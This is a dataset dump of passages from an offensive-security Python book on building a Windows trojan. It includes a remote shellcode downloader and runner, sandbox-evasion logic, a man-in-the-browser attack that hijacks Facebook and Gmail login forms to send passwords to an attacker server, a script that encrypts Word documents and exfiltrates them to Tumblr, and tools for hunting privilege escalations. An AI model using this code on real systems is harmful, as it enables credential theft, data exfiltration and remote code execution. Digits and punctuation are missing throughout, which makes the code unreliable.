id
int64
0
25.6k
text
stringlengths
0
4.59k
7,200
most pieces of malware and penetration testing frameworks include the capability to take screenshots against the remote target this can help capture imagesvideo framesor other sensitive data that you might not see with packet capture or keylogger thankfullywe can use the pywin package (see installing the prerequisitesto make native calls to the windows api to grab them screenshot grabber will use the windows graphics device interface (gdito determine necessary properties such as the total screen sizeand to grab the image some screenshot software will only grab picture of the currently active window or applicationbut in our case we want the entire screen let' get started crack open screenshotter py and drop in the following codeimport win gui import win ui import win con import win api grab handle to the main desktop window hdesktop win gui getdesktopwindow(determine the size of all monitors in pixels width win api getsystemmetrics(win con sm_cxvirtualscreenheight win api getsystemmetrics(win con sm_cyvirtualscreenleft win api getsystemmetrics(win con sm_xvirtualscreentop win api getsystemmetrics(win con sm_yvirtualscreencreate device context desktop_dc win gui getwindowdc(hdesktopimg_dc win ui createdcfromhandle(desktop_dccreate memory based device context mem_dc img_dc createcompatibledc(create bitmap object screenshot win ui createbitmap(screenshot createcompatiblebitmap(img_dcwidthheightmem_dc selectobject(screenshotcopy the screen into our memory device context mem_dc bitblt(( )(widthheight)img_dc(lefttop)win con srccopysave the bitmap to file screenshot savebitmapfile(mem_dc' :\\windows\\temp\\screenshot bmp'free our objects mem_dc deletedc(win gui deleteobject(screenshot gethandle()let' review what this little script does first we acquire handle to the entire desktop which includes the entire viewable area across multiple monitors we then determine the size of the screen(sso that we know the dimensions required for the screenshot we create device context[ using the getwindowdc function call and pass in handle to our desktop next we need to create memory-based device context where we will store our image capture until we store the bitmap bytes to file we then create bitmap object that is set to the device context of our desktop the selectobject call then sets the memory-based device context to point at the bitmap object that we're capturing we use the bitblt function to take bit-for-bit copy of the desktop image and store it in the memory-based context think of this as memcpy call for gdi objects the final step is to dump this image to disk this script is easy to testjust run it from the command line and check the :\windows\temp directory for your screenshot bmp file let' move on to
7,201
7,202
there might come time when you want to be able to interact with one of your target machinesor use juicy new exploit module from your favorite penetration testing or exploit framework this typically -though not always -requires some form of shellcode execution in order to execute raw shellcodewe simply need to create buffer in memoryand using the ctypes modulecreate function pointer to that memory and call the function in our casewe're going to use urllib to grab the shellcode from web server in base format and then execute it let' get startedopen up shell_exec py and enter the following codeimport urllib import ctypes import base retrieve the shellcode from our web server url response urllib urlopen(urldecode the shellcode from base shellcode base decode(response read()create buffer in memory shellcode_buffer ctypes create_string_buffer(shellcodelen(shellcode)create function pointer to our shellcode shellcode_func ctypes cast(shellcode_bufferctypes cfunctype (ctypes c_void_p)call our shellcode shellcode_func(how awesome is thatwe kick it off by retrieving our base -encoded shellcode from our web server we then allocate buffer to hold the shellcode after we've decoded it the ctypes cast function allows us to cast the buffer to act like function pointer so that we can call our shell-code like we would call any normal python function we finish it up by calling our function pointerwhich then causes the shellcode to execute
7,203
you can handcode some shellcode or use your favorite pentesting framework like canvas or metasploit[ to generate it for you picked some windows callback shellcode for canvas in my case store the raw shellcode (not the string buffer!in /tmp/shellcode raw on your linux machine and run the followingjustinbase - shellcode raw shellcode bin justinpython - simplehttpserver serving http on port we simply base -encoded the shellcode using the standard linux command line the next little trick uses the simplehttpserver module to treat your current working directory (in our case/tmp/as its web root any requests for files will be served automatically for you now drop your shell_exec py script in your windows vm and execute it you should see the following in your linux terminal [ /jan/ : : "get /shellcode bin http/ this indicates that your script has retrieved the shellcode from the simple web server that you set up using the simplehttpserver module if all goes wellyou'll receive shell back to your frameworkand have popped calc exeor displayed message box or whatever your shellcode was compiled for
7,204
increasinglyantivirus solutions employ some form of sandboxing to determine the behavior of suspicious specimens whether this sandbox runs on the network perimeterwhich is becoming more popularor on the target machine itselfwe must do our best to avoid tipping our hand to any defense in place on the target' network we can use few indicators to try to determine whether our trojan is executing within sandbox we'll monitor our target machine for recent user inputincluding keystrokes and mouse-clicks then we'll add some basic intelligence to look for keystrokesmouse-clicksand double-clicks our script will also try to determine if the sandbox operator is sending input repeatedly ( suspicious rapid succession of continuous mouse-clicksin order to try to respond to rudimentary sandbox detection methods we'll compare the last time user interacted with the machine versus how long the machine has been runningwhich should give us good idea whether we are inside sandbox or not typical machine has many interactions at some point during day since it has been bootedwhereas sandbox environment usually has no user interaction because sandboxes are typically used as an automated malware analysis technique we can then make determination as to whether we would like to continue executing or not let' start working on some sandbox detection code open sandbox_detect py and throw in the following codeimport ctypes import random import time import sys user ctypes windll user kernel ctypes windll kernel keystrokes mouse_clicks double_clicks these are the main variables where we are going to track the total number of mouse-clicksdoubleclicksand keystrokes laterwe'll look at the timing of the mouse events as well now let' create and test some code for detecting how long the system has been running and how long since the last user input add the following function to your sandbox_detect py scriptclass lastinputinfo(ctypes structure)_fields_ [("cbsize"ctypes c_uint)("dwtime"ctypes c_ulongdef get_last_input()struct_lastinputinfo lastinputinfo(struct_lastinputinfo cbsize ctypes sizeof(lastinputinfoget last input registered user getlastinputinfo(ctypes byref(struct_lastinputinfo)now determine how long the machine has been running run_time kernel gettickcount(elapsed run_time struct_lastinputinfo dwtime print "[*it' been % milliseconds since the last input event elapsed
7,205
test code remove after this paragraphwhile trueget_last_input(time sleep( we define lastinputinfo structure that will hold the timestamp (in millisecondsof when the last input event was detected on the system do note that you have to initialize the cbsize variable to the size of the structure before making the call we then call the getlastinputinfo functionwhich populates our struct_lastinputinfo dwtime field with the timestamp the next step is to determine how long the system has been running by using the gettickcount function call the last little snippet of code is simple test code where you can run the script and then move the mouseor hit key on the keyboard and see this new piece of code in action we'll define thresholds for these user input values next but first it' worth noting that the total running system time and the last detected user input event can also be relevant to your particular method of implantation for exampleif you know that you're only implanting using phishing tacticthen it' likely that user had to click or perform some operation to get infected this means that within the last minute or twoyou would see user input if for some reason you see that the machine has been running for minutes and the last detected input was minutes agothen you are likely inside sandbox that has not processed any user input these judgment calls are all part of having good trojan that works consistently this same technique can be useful for polling the system to see if user is idle or notas you may only want to start taking screenshots when they are actively using the machineand likewiseyou may only want to transmit data or perform other tasks when the user appears to be offline you could alsofor examplemodel user over time to determine what days and hours they are typically online let' delete the last three lines of test codeand add some additional code to look at keystrokes and mouse-clicks we'll use pure ctypes solution this time as opposed to the pyhook method you can easily use pyhook for this purpose as wellbut having couple of different tricks in your toolbox always helps as each antivirus and sandboxing technology has its own ways of spotting these tricks let' get codingdef get_key_press()global mouse_clicks global keystrokes for in range( , xff)if user getasynckeystate( =- is the code for left mouse-click if = mouse_clicks + return time time(elif and keystrokes + return none this simple function tells us the number of mouse-clicksthe time of the mouse-clicksas well as how many keystrokes the target has issued this works by iterating over the range of valid input keys for each keywe check whether the key has been pressed using the getasynckeystate function call if the key is detected as being pressedwe check if it is which is the virtual key code for
7,206
timestamp so that we can perform timing calculations later on we also check if there are ascii keypresses on the keyboard and if sowe simply increment the total number of keystrokes detected now let' combine the results of these functions into our primary sandbox detection loop add the following code to sandbox_detect pydef detect_sandbox()global mouse_clicks global keystrokes max_keystrokes random randint( , max_mouse_clicks random randint( , double_clicks max_double_clicks double_click_threshold in seconds first_double_click none average_mousetime max_input_threshold in milliseconds previous_timestamp none detection_complete false last_input get_last_input(if we hit our threshold let' bail out if last_input >max_input_thresholdsys exit( while not detection_completekeypress_time get_key_press(if keypress_time is not none and previous_timestamp is not nonecalculate the time between double clicks elapsed keypress_time previous_timestamp the user double clicked if elapsed <double_click_thresholddouble_clicks + if first_double_click is nonegrab the timestamp of the first double click first_double_click time time(elseif double_clicks =max_double_clicksif keypress_time first_double_click <(max_double_clicks double_click_threshold)sys exit( we are happy there' enough user input if keystrokes >max_keystrokes and double_clicks >max_ double_clicks and mouse_clicks >max_mouse_clicksreturn previous_timestamp keypress_time elif keypress_time is not noneprevious_timestamp keypress_time
7,207
print "we are ok!all right be mindful of the indentation in the code blocks abovewe start by defining some variables to track the timing of mouse-clicksand some thresholds with regard to how many keystrokes or mouse-clicks we're happy with before considering ourselves running outside sandbox we randomize these thresholds with each runbut you can of course set thresholds of your own based on your own testing we then retrieve the elapsed time since some form of user input has been registered on the systemand if we feel that it' been too long since we've seen input (based on how the infection took place as mentioned previously)we bail out and the trojan dies instead of dying hereyou could also choose to do some innocuous activity such as reading random registry keys or checking files after we pass this initial checkwe move on to our primary keystroke and mouse-click detection loop we first check for keypresses or mouse-clicks and we know that if the function returns valueit is the timestamp of when the mouse-click occurred next we calculate the time elapsed between mouse-clicks and then compare it to our threshold to determine whether it was double-click along with double-click detectionwe're looking to see if the sandbox operator has been streaming click events into the sandbox to try to fake out sandbox detection techniques for exampleit would be rather odd to see double-clicks in row during typical computer usage if the maximum number of double-clicks has been reached and they happened in rapid succession we bail out our final step is to see if we have made it through all of the checks and reached our maximum number of clickskeystrokesand double-clicks if sowe break out of our sandbox detection function encourage you to tweak and play with the settingsand to add additional features such as virtual machine detection it might be worthwhile to track typical usage in terms of mouse-clicksdoubleclicksand keystrokes across few computers that you own ( mean possess -not ones that you hacked into!to see where you feel the happy spot is depending on your targetyou may want more paranoid settings or you may not be concerned with sandbox detection at all using the tools that you developed in this can act as base layer of features to roll out in your trojanand due to the modularity of our trojaning frameworkyou can choose to deploy any one of them [ download pyhook here[ to learn all about device contexts and gdi programmingvisit the msdn page here[ as canvas is commercial tooltake look at this tutorial for generating metasploit pay-loads here
7,208
windows com automation serves number of practical usesfrom interacting with network-based services to embedding microsoft excel spreadsheet into your own application all versions of windows from xp forward allow you to embed an internet explorer com object into applicationsand we'll take advantage of this ability in this using the native ie automation objectwe'll create man-in-the browser-style attack where we can steal credentials from website while user is interacting with it we'll make this credential-stealing attack extendableso that several target websites can be harvested the last step will use internet explorer as means to exfiltrate data from target system we'll include some public key crypto to protect the exfiltrated data so that only we can decrypt it internet exploreryou sayeven though other browsers like google chrome and mozilla firefox are more popular these daysmost corporate environments still use internet explorer as their default browser and of courseyou can' remove internet explorer from windows system -so this technique should always be available to your windows trojan
7,209
man-in-the-browser (mitbattacks have been around since the turn of the new millennium they are variation on the classic man-in-the-middle attack instead of acting in the middle of communicationmalware installs itself and steals credentials or sensitive information from the unsuspecting target' browser most of these malware strains (typically called browser helper objectsinsert themselves into the browser or otherwise inject code so that they can manipulate the browser process itself as browser developers become wise to these techniques and antivirus vendors increasingly look for this behaviorwe have to get bit sneakier by leveraging the native com interface to internet explorerwe can control any ie session in order to get credentials for social networking sites or email logins you can of course extend this logic to change user' password or perform transactions with their logged-in session depending on your targetyou can also use this technique in conjunction with your keylogger module in order to force them to reauthenticate to site while you capture the keystrokes we'll begin by creating simple example that will watch for user browsing facebook or gmaildeauthenticate themand then modify the login form to send their username and password to an http server that we control our http server will then simply redirect them back to the real login page if you've ever done any javascript developmentyou'll notice that the com model for interacting with ie is very similar we are picking on facebook and gmail because corporate users have nasty habit of both reusing passwords and using these services for business (particularlyforwarding work mail to gmailusing facebook chat with coworkersand so onlet' crack open mitb py and enter the following codeimport win com client import time import urlparse import urllib data_receiver target_sites {target_sites["www facebook com"{"logout_urlnone"logout_form"logout_form""login_form_index" "ownedfalsetarget_sites["accounts google com"{"logout_url"logout?hl=en&continue=servicelogin% fservice% dmail""logout_formnone"login_form_index "ownedfalseuse the same target for multiple gmail domains target_sites["www gmail com"target_sites["accounts google com"target_sites["mail google com"target_sites["accounts google com"clsid='{ ba - - cf- - }windows win com client dispatch(clsidthese are the makings of our man-(kind-of)-in-the-browser attack we define our data_receiver variable as the web server that will receive the credentials from our target sites this method is riskier in that wily user might see the redirect happenso as future homework project you could
7,210
or other means that look less suspicious we then set up dictionary of target sites that our attack will support the dictionary members are as followslogout_url is url we can redirect via get request to force user to log outthe logout_form is dom element that we can submit that forces the logoutlogin_form_index is the relative location in the target domain' dom that contains the login form we'll modifyand the owned flag tells us if we have already captured credentials from target site because we don' want to keep forcing them to log in repeatedly or else the target might suspect something is up we then use internet explorer' class id and instantiate the com object which gives us access to all tabs and instances of internet explorer that are currently running now that we have the support structure in placelet' create the main loop of our attackwhile truefor browser in windowsurl urlparse urlparse(browser locationurlif url hostname in target_sitesif target_sites[url hostname]["owned"]continue if there is urlwe can just redirect if target_sites[url hostname]["logout_url"]browser navigate(target_sites[url hostname]["logout_url"]wait_for_browser(browserelseretrieve all elements in the document full_doc browser document all iteratelooking for the logout form for in full_doctryfind the logout form and submit it if id =target_sites[url hostname]["logout_form"] submit(wait_for_browser(browserexceptpass now we modify the login form trylogin_index target_sites[url hostname]["login_form_index"login_page urllib quote(browser locationurlbrowser document forms[login_indexaction "% % (data_ receiverlogin_pagetarget_sites[url hostname]["owned"true exceptpass time sleep( this is our primary loop where we monitor our target' browser session for the sites from which we want to nab credentials we start by iterating through all currently running internet explorer objectsthis includes active tabs in modern ie if we discover that the target is visiting one of our predefined sites we can begin the main logic of our attack the first step is to determine whether we have executed an attack against this site already if sowe won' execute it again (this has
7,211
leave our simplified solution as homework assignment to improve upon we then test to see if the target site has simple logout url that we can redirect to and if sowe force the browser to do so if the target site (such as facebookrequires the user to submit form to force the logoutwe begin iterating over the dom and when we discover the html element id that is registered to the logout form we force the form to be submitted after the user has been redirected to the login formwe modify the endpoint of the form to post the username and password to server that we control and then wait for the user to perform login notice that we tack the hostname of our target site onto the end of the url of our http server that collects the credentials this is so our http server knows what site to redirect the browser to after collecting the credentials you'll notice the function wait_for_browser referenced in few spots abovewhich is simple function that waits for browser to complete an operation such as navigating to new page or waiting for page to load fully let' add this functionality now by inserting the following code above the main loop of our scriptdef wait_for_browser(browser)wait for the browser to finish loading page while browser readystate ! and browser readystate !"complete"time sleep( return pretty simple we are just looking for the dom to be fully loaded before allowing the rest of our script to keep executing this allows us to carefully time any dom modifications or parsing operations
7,212
now that we've set up our attack scriptlet' create very simple http server to collect the credentials as they're submitted crack open new file called cred_server py and drop in the following codeimport simplehttpserver import socketserver import urllib class credrequesthandler(simplehttpserver simplehttprequesthandler)def do_post(self)content_length int(self headers['content-length']creds self rfile read(content_lengthdecode('utf- 'print creds site self path[ :self send_response( self send_header('location',urllib unquote(site)self end_headers(server socketserver tcpserver(( ' )credrequesthandlerserver serve_forever(this simple snippet of code is our specially designed http server we initialize the base tcpserver class with the ipportand credrequesthandler class that will be responsible for handling the http post requests when our server receives request from the target' browserwe read the content-length header to determine the size of the requestand then we read in the contents of the request and print them out we then parse out the originating site (facebookgmailetc and force the target browser to redirect back to the main page of the target site an additional feature you could add here is to send yourself an email every time credentials are received so that you can attempt to log in using the target' credentials before they have chance to change their password let' take it for spin
7,213
fire up new ie instance and run your mitb py and cred_server py scripts in separate windows you can test browsing around to various websites first to make sure that you aren' seeing any odd behaviorwhich you shouldn' now browse to facebook or gmail and attempt to log in in your cred_server py windowyou should see something like the followingusing facebook as an examplec:\python exe cred_server py lsd=avog ire&email=justin@nostarch com&pass=pyth nrocks&default_persistent= timezone= &lgnrnd= _sstf&lgnjs= &locale=en_us localhost [ /mar/ : : "post /www facebook com http/ you can clearly see the credentials arrivingand the redirect by the server kicking the browser back to the main login screen of courseyou can also perform test where you have internet explorer running and you're already logged in to facebookthen try running your mitb py script and you can see how it forces the logout now that we can nab the user' credentials in this mannerlet' see how we can spawn ie to help exfiltrate information from target network
7,214
gaining access to target network is only part of the battle to make use of your accessyou want to be able to exfiltrate documentsspreadsheetsor other bits of data off the target system depending on the defense mechanisms in placethis last part of your attack can prove to be tricky there might be local or remote systems (or combination of boththat work to validate processes opening remote connectionsas well as whether those processes should be able to send information or initiate connections outside of the internal network fellow canadian security researcherkarim nathoopointed out that ie com automation has the wonderful benefit of using the iexplore exe processwhich is typically trusted and whitelistedto exfiltrate information out of network we'll create python script that will first hunt for microsoft word documents on the local filesystem when document is encounteredthe script will encrypt it using public key cryptography [ after the document is encryptedwe'll automate the process of posting the encrypted document to blog on tumblr com this will enable us to dead-drop the document and retrieve it when we want to without anyone else being able to decrypt it by using trusted site like tumblrwe should also be able to bypass any blacklisting that firewall or proxy may havewhich might otherwise prevent us from just sending the document to an ip address or web server that we control let' start by putting some supporting functions into our exfiltration script open up ie_exfil py and enter the following codeimport win com client import os import fnmatch import time import random import zlib from crypto publickey import rsa from crypto cipher import pkcs _oaep doc_type username password doc"jms@bughunter ca"justinbhp public_key "def wait_for_browser(browser)wait for the browser to finish loading page while browser readystate ! and browser readystate !"complete"time sleep( return we are only creating our importsthe document types that we will search forour tumblr username and passwordand placeholder for our public keywhich we'll generate later on now let' add our encryption routines so that we can encrypt the filename and file contents def encrypt_string(plaintext)chunk_size print "compressing% byteslen(plaintextplaintext zlib compress(plaintextprint "encrypting % byteslen(plaintextrsakey rsa importkey(public_keyrsakey pkcs _oaep new(rsakeyencrypted
7,215
offset while offset &ltlen(plaintext)chunk plaintext[offset:offset+chunk_sizeif len(chunkchunk_size ! chunk +(chunk_size len(chunk)encrypted +rsakey encrypt(chunkoffset +chunk_size encrypted encrypted encode("base "print "base encoded crypto%dlen(encryptedreturn encrypted def encrypt_post(filename)open and read the fil fd open(filename,"rb"contents fd read(fd close(encrypted_title encrypt_string(filenameencrypted_body encrypt_string(contentsreturn encrypted_title,encrypted_body our encrypt_post function is responsible for taking in the filename and returning both the encrypted filename and the encrypted file contents in base -encoded format we first call the main workhorse function encrypt_string passing in the filename of our target file which will become the title of our blog post on tumblr the first step of our encrypt_string function is to apply zlib compression on the file before setting up our rsa public key encryption object using our generated public key we then begin looping through the file contents and encrypting it in -byte chunkswhich is the maximum size for rsa encryption using pycrypto when we encounter the last chunk of the file if it is not bytes longwe pad it with spaces to ensure that we can successfully encrypt it and decrypt it on the other side after we build our entire ciphertext stringwe base -encode it before returning it we use base encoding so that we can post it to our tumblr blog without problems or weird encoding issues now that we have our encryption routines set uplet' begin adding in the logic to deal with logging in and navigating the tumblr dashboard unfortunatelythere is no quick and easy way of finding ui elements on the webi simply spent minutes using google chrome and its developer tools to inspect each html element that needed to interact with it is also worth noting that through tumblr' settings pagei turned the editing mode to plaintextwhich disables their pesky javascript-based editor if you wish to use different servicethen you too will have to figure out the precise timingdom interactionsand html elements that are required -luckilypython makes the automation piece very easy let' add some more codedef random_sleep()time sleep(random randint( , )return def login_to_tumblr(ie)retrieve all elements in the document full_doc ie document all iterate looking for the login form
7,216
for in full_docif id ="signup_email" setattribute("value",usernameelif id ="signup_password" setattribute("value",passwordrandom_sleep(you can be presented with different home pages if ie document forms[ id ="signup_form"ie document forms[ submit(elseie document forms[ submit(except indexerrorepass random_sleep(the login form is the second form on the page wait_for_browser(iereturn we create simple function called random_sleep that will sleep for random period of timethis is designed to allow the browser to execute tasks that might not register events with the dom to signal that they are complete it also makes the browser appear to be bit more human our login_to_tumblr function begins by retrieving all elements in the dom and looks for the email and password fields and sets them to the credentials we provide (don' forget to sign up an accounttumblr can present slightly different login screen with each visitso the next bit of code simply tries to find the login form and submit it accordingly after this code executeswe should now be logged into the tumblr dashboard and ready to post some information let' add that code now def post_to_tumblr(ie,title,post)full_doc ie document all for in full_docif id ="post_one" setattribute("value",titletitle_box focus(elif id ="post_two" setattribute("innerhtml",postprint "set text areai focus(elif id ="create_post"print "found post buttonpost_form focus(move focus away from the main content box random_sleep(title_box focus(random_sleep(post the form post_form children[ click(wait_for_browser(ierandom_sleep(return none of this code should look very new at this point we are simply hunting through the dom to find
7,217
instance of the browser and the encrypted filename and file contents to post one little trick (learned by observing in chrome developer toolsis that we have to shift focus away from the main content part of the post so that tumblr' javascript enables the post button these subtle little tricks are important to jot down as you apply this technique to other sites now that we can log in and post to tumblrlet' put the finishing touches in place for our script def exfiltrate(document_path)ie win com client dispatch("internetexplorer application"ie visible head to tumblr and login ie navigate("wait_for_browser(ieprint "logging in login_to_tumblr(ieprint "logged in navigatingie navigate("wait_for_browser(ieencrypt the file title,body encrypt_post(document_pathprint "creating new post post_to_tumblr(ie,title,bodyprint "posted!destroy the ie instance ie quit(ie none return main loop for document discovery noteno tab for first line of code below for parentdirectoriesfilenames in os walk(" :\\")for filename in fnmatch filter(filenames,"*%sdoc_type)document_path os path join(parent,filenameprint "found%sdocument_path exfiltrate(document_pathraw_input("continue?"our exfiltrate function is what we will call for every document that we want to store on tumblr it first creates new instance of the internet explorer com object -and the neat thing is that you can set the process to be visible or not for debuggingleave it set to but for maximum stealth you definitely want to set it to this is really useful iffor exampleyour trojan detects other activity going onin that caseyou can start exfiltrating documentswhich might help to further blend your activities in with that of the user after we call all of our helper functionswe simply kill our ie instance and return the last bit of our script is responsible for crawling through the :drive on the target system and attempting to match our preset file extension doc in this caseeach time file is foundwe simply pass the full path of the file off to our exfiltrate function now that we have our main code ready to gowe need to create quick and dirty rsa key generation scriptas well as decryption script that we can use to paste in chunk of encrypted tumblr text and retrieve the plaintext let' start by opening keygen py and entering the following codefrom crypto publickey import rsa new_key rsa generate( =
7,218
private_key new_key exportkey("pem"print public_key print private_key that' right -python is so bad-ass that we can do it in handful of lines of code this block of code outputs both private and public key pair copy the public key into your ie_exfil py script then open new python file called decryptor py and enter the following code (paste the private key into the private_key variable)import zlib import base from crypto publickey import rsa from crypto cipher import pkcs _oaep private_key "###paste private key here###rsakey rsa importkey(private_keyrsakey pkcs _oaep new(rsakeychunk_size offset decrypted "encrypted base decode(encryptedwhile offset len(encrypted)decrypted +rsakey decrypt(encrypted[offset:offset+chunk_size]offset +chunk_size now we decompress to original plaintext zlib decompress(decryptedprint plaintext perfectwe simply instantiate our rsa class with the private key and then shortly thereafter we base -decode our encoded blob from tumblr much like our encoding loopwe simply grab byte chunks and decrypt themslowly building up our original plaintext string the final step is to decompress the payloadbecause we previously compressed it on the other side
7,219
there are lot of moving parts to this piece of codebut it is quite easy to use simply run your ie_exfil py script from windows host and wait for it to indicate that it has successfully posted to tumblr if you left internet explorer visibleyou should have been able to watch the whole process after it' completeyou should be able to browse to your tumblr page and see something like figure - figure - our encrypted filename as you can seethere is big encrypted blobwhich is the name of our file if you scroll downyou will clearly see that the title ends where the font is no longer bold if you copy and paste the title into your decryptor py file and run ityou should see something like this#:python decryptor py :\program files\debugging tools for windows ( )\dml doc #:perfectmy ie_exfil py script picked up document from the windows debugging tools directoryuploaded the contents to tumblrand can successfully decrypt the file name now of course to do the entire contents of the fileyou would want to automate it using the tricks showed you in (using urllib and htmlparser)which will leave as homework assignment for you the other
7,220
and this might break certain file formats another idea for extending the project is to encrypt length field at the beginning of the blog post contents that tells you the original size of the document before you padded it you can then read in this length after decrypting the blog post contents and trim the file to that exact size [ the python package pycrypto can be installed from
7,221
so you've popped box inside nice juicy windows network maybe you leveraged remote heap overflowor you phished your way into the network it' time to start looking for ways to escalate privileges if you're already system or administratoryou probably want several ways of achieving those privileges in case patch cycle kills your access it can also be important to have catalog of privilege escalations in your back pocketas some enterprises run software that may be difficult to analyze in your own environmentand you may not run into that software until you're in an enterprise of the same size or composition in typical privilege escalationyou're going to exploit poorly coded driver or native windows kernel issuebut if you use low-quality exploit or there' problem during exploitationyou run the risk of system instability we're going to explore some other means of acquiring elevated privileges on windows system administrators in large enterprises commonly have scheduled tasks or services that will execute child processes or run vbscript or powershell scripts to automate tasks vendorstoooften have automatedbuilt-in tasks that behave the same way we're going to try to take advantage of highprivilege processes handling files or executing binaries that are writable by low-privilege users there are countless ways for you to try to escalate privileges on windowsand we are only going to cover few howeverwhen you understand these core conceptsyou can expand your scripts to begin exploring other darkmusty corners of your windows targets we'll start by learning how to apply windows wmi programming to create flexible interface that monitors the creation of new processes we harvest useful data such as the file pathsthe user that created the processand enabled privileges our process monitoring then hands off all file paths to file-monitoring script that continuously keeps track of any new files created and what is written to them this tells us which files are being accessed by high-privilege processes and the file' location the final step is to intercept the file-creation process so that we can inject scripting code and have the high-privilege process execute command shell the beauty of this whole process is that it doesn' involve any api hookingso we can fly under most antivirus software' radar
7,222
we need to install few libraries in order to write the tooling in this if you followed the initial instructions at the beginning of the bookyou'll have easy_install ready to rock if notrefer to for instructions on installing easy_install execute the following in cmd exe shell on your windows vmc:\easy_install pywin wmi if for some reason this installation method does not work for youdownload the pywin installer directly from nextyou'll want to install the example service that my tech reviewers dan frisch and cliff janzen wrote for me this service emulates common set of vulnerabilities that we've uncovered in large enterprise networks and helps to illustrate the example code in this download the zip file from install the service using the provided batch scriptinstall_service bat make sure you are running as administrator when doing so you should be good to goso now let' get on with the fun part
7,223
participated in project for immunity called el jefewhich is at its core very simple processmonitoring system with centralized logging(be used by people on the defense side of security to track process creation and the installation of malware while consulting one daymy coworker mark wuergler suggested that we use el jefe as lightweight mechanism to monitor processes executed as system on our target windows machines this would give us insight into potentially insecure file handling or child process creation it workedand we walked away with numerous privilege escalation bugs that gave us the keys to the kingdom the major drawback of the original el jefe is that it used dll that was injected into every process to intercept calls to all forms of the native createprocess function it then used named pipe to communicate to the collection clientwhich then forwarded the details of the process creation to the logging server the problem with this is that most antivirus software also hooks the createprocess callsso either they view you as malware or you have system instability issues when el jefe runs side-by-side with antivirus software we'll re-create some of el jefe' monitoring capabilities in hookless mannerwhich also will be geared toward offensive techniques rather than monitoring this should make our monitoring portable and give us the ability to run with antivirus software activated without issue
7,224
the wmi api gives the programmer the ability to monitor the system for certain eventsand then receive callbacks when those events occur we're going to leverage this interface to receive callback every time process is created when process gets createdwe're going to trap some valuable information for our purposesthe time the process was createdthe user that spawned the processthe executable that was launched and its command-line argumentsthe process idand the parent process id this will show us any processes that are created by higher-privilege accountsand in particularany processes that are calling external files such as vbscript or batch scripts when we have all of this informationwe'll also determine what privileges are enabled on the process tokens in certain rare casesyou'll find processes that are created as regular user but which have been granted additional windows privileges that you can leverage let' begin by creating very simple monitoring script[ that provides the basic process informationand then build on that to determine the enabled privileges note that in order to capture information about high-privilege processes created by systemfor exampleyou'll need to run your monitoring script as an administrator let' get started by adding the following code to process_monitor pyimport win con import win api import win security import wmi import sys import os def log_to_file(message)fd open("process_monitor_log csv""ab"fd write("% \ \nmessagefd close(return create log file header log_to_file("time,user,executable,commandline,pid,parent pid,privileges"instantiate the wmi interface wmi wmi(create our process monitor process_watcher win _process watch_for("creation"while truetrynew_process process_watcher(proc_owner new_process getowner(proc_owner "% \\% (proc_owner[ ],proc_owner[ ]create_date new_process creationdate executable new_process executablepath cmdline new_process commandline pid new_process processid parent_pid new_process parentprocessid privileges " /aprocess_log_message "% ,% ,% ,% ,% ,% ,% \ \ (create_date
7,225
print process_log_message log_to_file(process_log_messageexceptpass we start by instantiating the wmi class and then telling it to watch for the process creation event by reading the python wmi documentationwe learn that you can monitor process creation or deletion events if you decide that you' like to closely monitor process eventsyou can use the operation and it will notify you of every single event process goes through we then enter loopand the loop blocks until process_watcher returns new process event the new process event is wmi class called win _process[ that contains all of the relevant information that we are after one of the class functions is getownerwhich we call to determine who spawned the process and from there we collect all of the process information we are looking foroutput it to the screenand log it to file
7,226
let' fire up our process monitoring script and then create some processes to see what the output looks like :\python process_monitor py ,justin- trl ld\administrator, :\windows\system notepad exe," :\windows\system \notepad exe, , , / ,justin- trl ld\administrator, :\windows\system calc exe," :\windows\system \calc exe, , , / after running the scripti ran notepad exe and calc exe you can see the information being output correctlyand notice that both processes had the parent pid set to which is the process id of explorer exe in my vm you could now take an extended break and let this script run for day and see all of the processesscheduled tasksand various software updaters running you might also spot malware if you're (un)lucky it' also useful to log out and log back in to your targetas events generated from these actions could indicate privileged processes now that we have basic process monitoring in placelet' fill out the privileges field in our logging and learn little bit about how windows privileges work and why they're important
7,227
windows token isper microsoft"an object that describes the security context of process or thread "[ how token is initialized and which permissions and privileges are set on token determine which tasks that process or thread can perform well-intentioned developer might have system tray application as part of security productwhich they' like to give the ability for nonprivileged user to control the main windows servicewhich is driver the developer uses the native windows api function adjusttokenprivileges on the process and innocently enough grants the system tray application the seloaddriver privilege what the developer is not thinking about is the fact that if you can climb inside that system tray applicationyou too now have the ability to load or unload any driver you wantwhich means you can drop kernel mode rootkit -and that means game over bear in mindif you can' run your process monitor as system or an administrative userthen you need to keep an eye on what processes you are able to monitorand see if there are any additional privileges you can leverage process running as your user with the wrong privileges is fantastic way to get to system or run code in the kernel interesting privileges that always look out for are listed in table - it isn' exhaustivebut serves as good starting point [ table - interesting privileges privilege name access that is granted sebackupprivilege this enables the user process to back up files and directoriesand grants read access to files no matter what their acl defines sedebugprivilege this enables the user process to debug other processes this also includes obtaining process handles to inject dlls or code into running processes seloaddriver this enables user process to load or unload drivers now that we have the fundamentals of what privileges are and which privileges to look forlet' leverage python to automatically retrieve the enabled privileges on the processes we're monitoring we'll make use of the win securitywin apiand win con modules if you encounter situation where you can' load these modulesall of the following functions can be translated into native calls using the ctypes libraryit' just lot more work add the following code to process_monitor py directly above our existing log_to_file functiondef get_process_privileges(pid)tryobtain handle to the target process hproc win api openprocess(win con process_query_ information,false,pidopen the main process token htok win security openprocesstoken(hproc,win con token_queryretrieve the list of privileges enabled privs win security gettokeninformation(htokwin security tokenprivilegesiterate over privileges and output the ones that are enabled priv_list "for in privscheck if the privilege is enabled
7,228
if [ = priv_list +"% |win security lookupprivilegename(none, [ ]exceptpriv_list " /areturn priv_list we use the process id to obtain handle to the target process nextwe crack open the process token and then request the token information for that process by sending the win security tokenprivileges structurewe are instructing the api call to hand back all of the privilege information for that process the function call returns list of tupleswhere the first member of the tuple is the privilege and the second member describes whether the privilege is enabled or not because we are only concerned with the privileges that are enabledwe first check for the enabled bits and then we look up the human-readable name for that privilege next we'll modify our existing code so that we're properly outputting and logging this information change the following line of code from thisprivileges " /ato the followingprivileges get_process_privileges(pidnow that we have added our privilege tracking codelet' rerun the process_monitor py script and check the output you should see privilege information as shown in the output belowc:\python exe process_monitor py ,justin- trl ld\administrator, :\windows\system notepad exe," :\windows\system \notepad exe, , ,sechangenotifyprivilege |seimpersonateprivilege|secreateglobalprivilege,justin- trl ld\administrator, :\windows\system calc exe," :\windows\system \calc exe, , ,sechangenotifyprivilegeseimpersonateprivilege|secreateglobalprivilegeyou can see that we are correctly logging the enabled privileges for these processes we could easily put some intelligence into the script to log only processes that run as an unprivileged user but have interesting privileges enabled we will see how this 